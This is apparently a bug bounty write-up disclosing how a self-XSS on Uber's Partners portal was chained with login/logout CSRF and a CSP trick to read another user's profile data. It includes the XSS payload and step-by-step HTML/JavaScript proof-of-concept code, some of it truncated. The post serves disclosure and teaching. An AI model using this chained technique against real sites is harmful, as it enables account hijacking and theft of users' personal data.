Uber Bug Bounty: Turning Self-XSS into Good-XSS

Reading time ~6 minutes

Now that the Uber bug bounty programme has launched publicly, I can publish some of my favourite submissions, which I’ve been itching to do over the past year. This is part one of maybe two or three posts.

On Uber’s Partners portal, where Drivers can login and update their details, I found a very simple, classic XSS: changing the value of one of the profile fields to <script>alert(document.domain);</script> causes the code to be executed, and an alert box popped.

This took all of two minutes to find after signing up, but now comes the fun bit.


Being able to execute additional, arbitrary JavaScript under the context of another site is called Cross-Site Scripting (which I’m assuming 99% of my readers know). Normally you would want to do this against other users in order to yank session cookies, submit XHR requests, and so on.

If you can’t do this against another user - for example, the code only executes against your account, then this is known as a self-XSS.

In this case, it would seem that’s what we’ve found. The address section of your profile is only shown to you (the exception may be if an internal Uber tool also displays the address, but that’s another matter), and we can’t update another user’s address to force it to be executed against them.

I’m always hesitant to send in bugs which have potential (an XSS in this site would be cool), so let’s try and find a way of removing the “self” part from the bug.

Uber OAuth Login Flow

The OAuth that flow Uber uses is pretty typical:

  • User visits an Uber site which requires login, e.g. partners.uber.com
  • User is redirected to the authorisation server, login.uber.com
  • User enters their credentials
  • User is redirected back to partners.uber.com with a code, which can then be exchanged for an access token

In case you haven’t spotted from the above screenshot, the OAuth callback, /oauth/callback?code=..., doesn’t use the recommended state parameter. This introduces a CSRF vulnerability in the login function, which may or may-not be considered an important issue.

In addition, there is a CSRF vulnerability in the logout function, which really isn’t considered an issue. Browsing to /logout destroys the user’s partner.uber.com session, and performs a redirect to the same logout function on login.uber.com.

Since our payload is only available inside our account, we want to log the user into our account, which in turn will execute the payload. However, logging them into our account destroys their session, which destroys a lot of the value of the bug (it’s no longer possible to perform actions on their account). So let’s chain these three minor issues (self-XSS and two CSRF’s) together.

For more info on OAuth security, check out @homakov’s awesome guide.

Chaining Minor Bugs

Our plan has three parts to it:

  • First, log the user out of their partner.uber.com session, but not their login.uber.com session. This ensures that we can log them back into their account
  • Second, log the user into our account, so that our payload will be executed
  • Finally, log them back into their account, whilst our code is still running, so that we can access their details

Step 1. Logging Out of Only One Domain

We first want to issue a request to https://partners.uber.com/logout/, so that we can then log them into our account. The problem is that issuing a requets to this end-point results in a 302 redirect to https://login.uber.com/logout/, which destroys the session. We can’t intercept each redirect and drop the request, since the browser follows these implicitly.

However, one trick we can do is to use Content Security Policy to define which sources are allowed to be loaded (I hope you can see the irony in using a feature designed to help mitigate XSS in this context).

We’ll set our policy to only allow requests to partners.uber.com, which will block https://login.uber.com/logout/.

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">

This works, as indicated by the CSP violation error message:

Step 2. Logging Into Our Account

This one is relatively simple. We issue a request to https://partners.uber.com/login/ to initiate a login (this is needed else the application won’t accept the callback). Using the CSP trick we prevent the flow being completed, then we feed in our own code (which can be obtained by logging into our own account), which logs them in to our account.

Since a CSP violation triggers the onerror event handler, this will be used to jump to the next step.

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
    //Initiate login so that we can redirect them
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';

Step 3. Switching Back to Their Account

This part is the code that will be contained as the XSS payload, stored in our account.

As soon as this payload is executed, we can switch back to their account. This must be in an iframe - we need to be able to continue running our code.

//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');

The contents of the iframe uses the CSP trick again:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';

The final piece is to create another iframe, so we can grab some of their data.

//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    //Extract their email as PoC
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
}, 9000);

Since our final iframe is loaded from the same origin as the Profile page containing our JS, and X-Frame-Options is set to sameorigin not deny, we can access the content inside of it (using contentWindow)

Putting It All Together

After combining all the steps, we have the following attack flow:

  • Add the payload from step 3 to our profile
  • Login to our account, but cancel the callback and make note of the unused code parameter
  • Get the user to visit the file we created from step 2 - this is similar to how you would execute a reflected-XSS against someone
  • The user will then be logged out, and logged into our account
  • The payload from step 3 will be executed
  • In a hidden iframe, they’ll be logged out of our account
  • In another hidden iframe, they’ll be logged into their account
  • We now have an iframe, in the same origin containing the user’s session

This was a fun bug, and proves that it’s worth persevering to show a bug can have a higher impact than originally thought.

From Bug Bounty Hunter, to Engineer, and Beyond

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